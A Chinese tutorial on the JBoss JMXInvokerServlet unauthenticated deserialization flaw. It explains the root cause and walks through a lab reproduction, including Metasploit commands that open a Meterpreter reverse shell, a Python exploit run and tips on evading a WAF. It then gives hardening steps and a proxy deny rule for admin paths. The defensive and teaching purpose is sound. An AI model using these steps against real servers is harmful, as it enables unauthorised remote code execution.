
1. 项目概述为什么JMXInvokerServlet漏洞值得深挖在安全圈里混久了你会发现有些漏洞就像“老朋友”隔三差五就会在应急响应或者资产测绘里遇到。JBoss JMXInvokerServlet漏洞CVE-2013-4810等就是这样一个典型。它不是什么新鲜出炉的零日但直到今天依然有不少老旧系统因为它而门户大开。这个漏洞的核心简单来说就是JBoss应用服务器上一个名为/invoker/JMXInvokerServlet的接口默认情况下没有做任何访问控制攻击者可以直接通过它上传并执行任意Java代码从而完全控制服务器。我之所以想把这个老漏洞翻出来再讲透是因为在实际的渗透测试和红队评估中它依然是一个高价值的突破口。很多企业特别是金融、政府、制造业等传统行业内部仍运行着大量基于JBoss 4.x、5.x甚至6.x的遗留系统。这些系统往往因为业务连续性要求高、升级风险大而被“冻结”成为了安全视野里的盲区。攻击者不需要什么高深的技巧一个简单的curl命令或者一个现成的Python脚本就能长驱直入。对于防守方而言理解这个漏洞的原理不仅能快速定位风险更能从架构层面思考如何加固这类Java中间件。这篇文章我会从一个实战者的角度带你彻底拆解这个漏洞。我们不只停留在“怎么利用”更要深挖“为什么能被利用”以及“如何从根本上防住”。我会结合自己的踩坑经验从环境搭建、漏洞原理分析、手动/工具复现再到多层次的防护策略给你一套完整的“攻防体检套餐”。无论你是刚入门的安全爱好者还是负责企业安全运维的工程师都能从中找到可以直接上手操作的内容。2. 漏洞原理深度解析JMX与Servlet的“危险结合”要理解这个漏洞你得先知道JBoss的JMX和Invoker Servlet分别是干什么的。这就像搞清楚一把锁的锁芯结构和钥匙孔位置你才能明白为什么用一根铁丝就能捅开。2.1 JMXJava系统的“管理后门”JMXJava Management Extensions你可以把它想象成Java应用自带的一个“管理员控制台”。通过JMX运维人员可以远程监控和管理JVM以及部署在其中的应用比如查看堆内存使用情况、动态修改日志级别、甚至重新加载应用。在JBoss里JMX MBeanManaged Bean是核心管理组件。为了方便远程调用这些管理功能JBoss提供了多种通信协议其中一种就是通过HTTP协议序列化Java对象进行传输。这本身是为了方便但却埋下了隐患。2.2 Invoker Servlet未经认证的“传话筒”在JBoss的早期架构中JMXInvokerServlet这个Servlet组件其作用就是接收客户端发来的HTTP请求请求体中包含序列化后的Java对象这些对象代表了要调用的JMX操作然后它负责反序列化这些对象找到对应的MBean并执行方法最后再将结果序列化返回给客户端。问题的关键点就在这里默认配置无认证在JBoss 4.x、5.x及部分6.x版本中/invoker/JMXInvokerServlet这个URL路径默认是公开的没有任何身份验证或授权机制。任何能访问到JBoss HTTP端口默认8080的人都可以向这个端点发送请求。接受序列化对象这个Servlet被设计为可以接收并反序列化客户端发送的任意java.io.Serializable对象。高权限执行环境Servlet运行在JBoss容器内部具有很高的权限可以访问到org.jboss.invocation.MarshalledValue等内部类并能够实例化它们。2.3 漏洞触发链一次“狸猫换太子”的攻击攻击者是如何利用以上几点实现远程代码执行的呢整个攻击链非常经典构造恶意序列化对象攻击者不发送正常的JMX调用请求而是精心构造一个恶意的序列化数据流。这个数据流的核心是一个org.jboss.invocation.MarshalledValue对象。这个类在反序列化时会调用其readObject方法该方法会从字节流中读取数据并还原反序列化其中包裹的对象。注入任意代码攻击者可以在MarshalledValue中“包裹”一个包含任意Java代码的类例如一个动态生成字节码的类或者一个调用Runtime.exec()的类。在JBoss的类路径下存在一些可以利用的类如org.jboss.invocation.MarshalledValue配合org.jboss.invocation.MarshalledInvocation当它们被反序列化时会触发一连串的调用最终导致攻击者包裹的代码被执行。发送请求将构造好的恶意序列化字节流通过HTTP POST请求发送到http://target:8080/invoker/JMXInvokerServlet。服务器中招JBoss的JMXInvokerServlet收到请求后由于没有认证直接开始处理。它读取请求体并尝试反序列化。这个过程触发了恶意MarshalledValue的readObject方法进而执行了其中包裹的恶意代码。由于这个过程发生在JBoss服务器进程内部攻击者获得的权限就是JBoss进程的权限通常是高权限的系统用户从而实现了完整的远程命令执行。注意这里描述的利用链是其中一种典型方式。实际利用中根据JBoss版本和类路径的不同可能会使用不同的“gadget chain”利用链例如利用org.jboss.mx.loading.UnifiedClassLoader等类但核心原理都是通过未授权访问的Servlet触发反序列化漏洞。2.4 关联漏洞与影响范围这个漏洞模式并非孤例。在JBoss中类似的未授权访问反序列化的漏洞点还有好几个安全研究人员常戏称为“JBoss Invoker全家桶”包括/invoker/EJBInvokerServlet用于EJB调用/invoker/readonlyJNDI服务/web-console/Invoker管理控制台相关它们的影响范围主要集中在JBoss AS 4.x影响最为普遍和严重。JBoss AS 5.x默认情况同样存在。JBoss AS 6.x部分版本和配置下可能存在。基于JBoss的衍生版本或商业版如WildFly的早期版本如果配置不当也可能存在类似问题。3. 漏洞复现环境搭建与验证光说不练假把式我们亲手搭个环境来验证一下。我强烈建议你在虚拟机或隔离的测试环境中进行以下操作。3.1 靶机环境准备我们选择最经典的JBoss AS 5.1.0.GA作为靶机。它的漏洞利用最成熟资料也最多。下载JBoss 5.1.0.GA从官方归档站点或可靠的镜像站下载。你可以搜索“jboss-5.1.0.GA.zip”。安装与启动# 解压 unzip jboss-5.1.0.GA.zip -d /opt/ cd /opt/jboss-5.1.0.GA/bin # 以独立模式启动绑定所有IP方便测试 ./run.sh -b 0.0.0.0如果一切正常你应该能看到JBoss启动日志并在最后看到类似Started in 15s:316ms的信息。访问http://your-vm-ip:8080/应该能看到JBoss的欢迎页面。验证漏洞端点访问http://your-vm-ip:8080/invoker/JMXInvokerServlet。如果返回一个空白页面、一个错误页面但HTTP状态码不是404或403或者提示“POST request required”之类的信息这通常意味着这个Servlet是存在的且可访问这是一个高危信号。如果返回404则可能此组件已被移除或路径不同。实操心得在虚拟机中测试时经常遇到防火墙问题。确保你的虚拟机防火墙放行了8080端口sudo ufw allow 8080/tcp或对应系统命令。另外JBoss 5.1.0需要JDK 1.6或1.7使用更高版本的JDK如JDK 8可能会启动失败报错与javax.management相关。建议使用java -version确认版本。3.2 攻击机环境与工具选择在攻击机通常是你的Kali Linux或物理机上我们需要准备利用工具。手动利用理解原理 手动利用需要你理解Java序列化和JBoss特定类的结构通常需要编写Java代码来生成Payload。这对于初学者门槛较高但有助于深入理解。核心步骤是创建一个恶意类其static代码块或构造函数中包含执行命令的代码如Runtime.getRuntime().exec(calc)。使用JBoss相关的类如MarshalledValue将这个恶意类对象包裹起来。将这个对象序列化成字节数组。通过HTTP POST发送该字节数组到目标Servlet。工具利用快速验证 对于实战和快速验证我们使用成熟的工具。这里推荐Metasploit Framework它集成了稳定可靠的利用模块。启动Metasploitmsfconsole搜索并选用模块search jmxinvoker # 通常会看到类似以下的模块 # auxiliary/admin/http/jboss_invoke_deploy # exploit/multi/http/jboss_invoke_deploy # 我们使用功能更全面的部署模块 use exploit/multi/http/jboss_invoke_deploy配置模块参数show options set RHOSTS 你的靶机IP set RPORT 8080 # 设置Payload例如生成一个反向Shell set PAYLOAD java/meterpreter/reverse_tcp set LHOST 你的攻击机IP set LPORT 4444执行攻击exploit如果目标存在漏洞且网络连通Metasploit会先通过/invoker/JMXInvokerServlet部署一个恶意的WAR包然后自动访问部署的WAR包触发Payload。成功后你会获得一个Meterpreter会话。注意事项Metasploit的jboss_invoke_deploy模块可能对某些JBoss版本不兼容。如果失败可以尝试其他模块如jboss_maindeployer。另外工具的利用过程是黑盒的它掩盖了底层序列化Payload的细节。作为学习者在工具利用成功后强烈建议你再回过头去分析一下工具生成的流量用Wireshark抓包看看POST过去的二进制数据到底是什么这对你以后挖掘和防御类似漏洞大有裨益。4. 手动复现与流量分析看清每一次握手虽然工具方便但作为资深从业者我习惯用手动复现来加深理解。这里我们用一个更“原始”的方法借助一个经典的Python脚本如jboss_jmxinvoker.py来复现。你可以从GitHub或安全社区找到这类脚本。4.1 手动复现步骤假设我们有一个简单的Python利用脚本它做的事情和Metasploit本质一样生成一个执行命令的Java序列化Payload并发送给目标。准备脚本将脚本保存为exploit.py。脚本通常需要指定目标IP、端口和要执行的命令。生成Payload脚本内部会构造一个特殊的序列化对象链。以执行系统命令touch /tmp/jboss_pwned为例。python exploit.py --target http://192.168.1.100:8080 --command touch /tmp/jboss_pwned发送请求脚本会向http://192.168.1.100:8080/invoker/JMXInvokerServlet发送一个HTTP POST请求Content-Type通常是application/x-java-serialized-object请求体就是序列化后的恶意字节码。验证结果登录到JBoss靶机服务器检查/tmp目录下是否成功创建了jboss_pwned文件。ls -la /tmp/jboss_pwned4.2 关键流量抓包分析这是理解漏洞的黄金时刻。在攻击机和靶机之间开启Wireshark抓包过滤http and ip.addr 靶机IP。观察到的关键请求请求行POST /invoker/JMXInvokerServlet HTTP/1.1请求头重点关注Content-Type: application/x-java-serialized-object。这个头明确告诉服务器“我发过来的是一个Java序列化对象流”。JBoss的Servlet正是根据这个头来决定如何处理请求体。请求体这是一堆不可读的二进制数据。这就是我们精心构造的恶意序列化Payload。在Wireshark中你可以右键选择“追踪流” - “TCP流”在原始数据中看到这部分16进制/二进制内容。服务器的响应如果漏洞利用成功服务器通常会返回一个HTTP 200状态码响应体可能也是一些序列化数据可能是命令执行的结果或异常信息。如果失败可能会返回500错误。排查技巧实录如果手动利用失败抓包分析是第一要务。检查请求是否真的发到了正确的路径Content-Type头是否正确Payload在传输过程中是否被代理或WAF修改对比成功和失败的流量差异点往往就是问题所在。我曾遇到过一个案例客户的负载均衡器会过滤掉application/x-java-serialized-object这个Content-Type的请求导致攻击始终失败。5. 多层次防护措施从紧急处置到架构免疫知道怎么打更要懂得怎么防。对于JMXInvokerServlet漏洞的防护需要根据企业实际情况采取从紧急到根本、从浅到深的层层递进策略。5.1 紧急处置与临时加固发现漏洞后首先要做的是“止血”。删除或重命名Invoker Servlet部署文件 这是最直接有效的方法。找到JBoss部署目录下的invoker.sar或http-invoker.sar文件位于JBOSS_HOME/server/配置名/deploy目录下例如default/deploy直接将其删除或重命名如改为invoker.sar.bak然后重启JBoss。这将彻底禁用所有基于Invoker的远程调用。风险提示这可能会影响某些依赖于这些Invoker服务的合法客户端如果存在的话。务必在变更窗口进行并做好回滚准备。通过Web容器配置进行访问控制 如果不想删除文件可以在JBoss的Web容器配置中为/invoker/*路径添加访问控制。编辑JBOSS_HOME/server/配置名/deploy/jboss-web.deployer/server.xml文件在相应的Host或Engine标签内添加阀Valve例如使用RemoteAddrValve只允许管理IP访问Valve classNameorg.apache.catalina.valves.RemoteAddrValve allow127\.0\.0\.1|192\.168\.1\.\d /将此阀定义放在Host标签内并确保其能覆盖到/invoker上下文。这种方法无需重启整个JBoss只需重新加载Web应用。5.2 中期安全加固临时措施后需要更稳固的加固方案。升级JBoss版本 将JBoss AS升级到不受此漏洞影响的版本。对于JBoss社区版应考虑升级到WildFly。WildFly从早期版本开始就对这类Invoker Servlet进行了重构或默认禁用。升级前务必在测试环境充分验证业务兼容性。配置JMXInvokerServlet安全域 在JBoss的deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml文件中可以为JMXInvokerServlet配置安全约束security-constraint要求用户必须通过特定角色认证才能访问。security-constraint web-resource-collection web-resource-nameJMXInvoker/web-resource-name url-pattern/*/url-pattern /web-resource-collection auth-constraint role-nameAdminRole/role-name !-- 这里配置你的管理角色 -- /auth-constraint /security-constraint login-config auth-methodBASIC/auth-method realm-nameJBoss JMXInvoker Realm/realm-name /login-config同时需要在deploy/http-invoker.sar/invoker.war/WEB-INF/jboss-web.xml中关联安全域。这种方法比较复杂且需要配置对应用户和角色。网络层隔离与访问控制防火墙策略在生产环境中JBoss的管理端口包括HTTP/HTTPS端口绝对不应该对互联网开放。通过防火墙严格限制只允许运维堡垒机或特定管理网段的IP访问。反向代理配置在前端部署Nginx或Apache作为反向代理。在代理层配置规则直接拦截或返回403 Forbidden对于/invoker/*、/web-console/*等管理路径的请求。location ~ ^/(invoker|web-console|jmx-console)/ { deny all; return 403; }5.3 长期架构与安全实践要从根本上降低风险需要改变管理和技术习惯。最小化部署原则 在安装JBoss/WildFly时选择“最小”或“自定义”安装只启用业务必需的服务和组件。默认安装通常会包含大量演示程序和管理控制台这些都是潜在的攻击面。启用安全管理器与安全审计 虽然配置繁琐但启用Java安全管理器Security Manager可以为反序列化等操作增加一层沙箱防护。同时开启JBoss的详细安全审计日志监控对所有敏感路径如/invoker/*的访问尝试。依赖组件安全管理 定期对服务器上所有Java依赖库进行漏洞扫描。类似的反序列化漏洞可能存在于其他第三方库中如Apache Commons Collections, Spring框架等。使用OWASP Dependency-Check等工具集成到CI/CD流程中。建立漏洞预警与响应机制 订阅JBoss/WildFly官方安全公告。对已部署的中间件建立资产清单明确每个实例的版本、补丁级别和负责人。一旦有相关漏洞披露能快速定位受影响资产并启动修复流程。6. 常见问题排查与防御进阶思考在实际操作和防护中你肯定会遇到各种问题。这里我总结几个常见的坑和进阶思路。6.1 复现与利用中的常见问题问题现象可能原因排查步骤与解决方案访问/invoker/JMXInvokerServlet返回4041. 路径错误。2.invoker.sar未部署或被删除。3. JBoss版本不同路径有差异。1. 检查JBoss版本确认准确路径。可尝试/invoker/readonly等。2. 查看deploy目录下是否有invoker.sar。3. 使用目录扫描工具如dirsearch探测常见路径。工具利用失败但手动验证端点存在1. 网络问题防火墙、代理。2. Payload与目标环境不兼容JDK版本、操作系统架构。3. 已有安全防护WAF、主机防护软件。1. 使用nc或telnet测试端口连通性抓包分析请求是否发出、响应如何。2. 尝试使用不同Payload如Linux命令idvs Windows命令whoami。3. 检查服务器日志看是否有拦截记录。尝试使用编码或分片等绕过技术。获得Shell后不稳定或立即断开1. 网络不稳定。2. Payload进程被目标安全软件杀死。3. Meterpreter会话配置问题。1. 尝试使用更稳定的Payload类型如java/shell_reverse_tcp。2. 尝试注入到现有Java进程如使用javapayload等内存马技术但这需要更高技巧。3. 设置AutoRunScript和ExitOnSession为false并增加重试次数。6.2 防御绕过与深度检测攻击技术也在进化防守不能只停留在已知漏洞上。路径变异与混淆管理员可能删除了/invoker但攻击者会尝试其他已知的JBoss管理路径、备份文件路径如/invoker/JMXInvokerServlet.bak、大小写变异等。防御方需要定期使用扫描器对自己的外网服务进行“攻击者视角”的扫描。反序列化利用链的演进除了JBoss自带的类攻击者可能会结合其他通用库如Commons Collections构造更复杂的利用链。这意味着即使部分类被黑名单过滤漏洞仍可能被利用。治本之策是升级到已修复反序列化问题的JDK版本并在代码层面严格校验反序列化数据的来源和内容。内存Webshell内存马高水平的攻击者在获取权限后倾向于在Java容器的内存中植入后门不落盘任何文件常规文件检测失效。防御需要依靠RASP运行时应用自我保护技术或加强的JVM监控检测异常的类加载、Servlet动态注册、Filter添加等行为。6.3 从漏洞看安全开发与运维JMXInvokerServlet漏洞给我们的启示远不止一个补丁默认安全中间件和框架的“开箱即用”配置必须是安全的。作为开发者或运维在接受默认配置前必须审视其安全影响。最小权限像JMX这种强大的管理接口其访问权限必须受到最严格的控制遵循最小权限原则。反序列化是危险的任何接受外部序列化数据的入口点都是高危的。在代码审查中对ObjectInputStream.readObject()、XMLDecoder.readObject()、XStream.fromXML()等方法的调用要保持高度警惕。纵深防御不要依赖单一防护点。结合网络隔离、主机防火墙、WAF、RASP、HIDS主机入侵检测构建纵深防御体系即使某一层被突破其他层也能提供告警和阻断。这个漏洞的复现和防护过程本质上是一次对Java中间件安全架构的深度体检。它提醒我们安全是一个持续的过程需要将安全的思维融入到系统设计、开发、部署和运维的每一个环节。对于仍然运行着老旧JBoss系统的企业来说立即行动评估风险制定升级或加固计划远比祈祷攻击者不会找上门来得实际。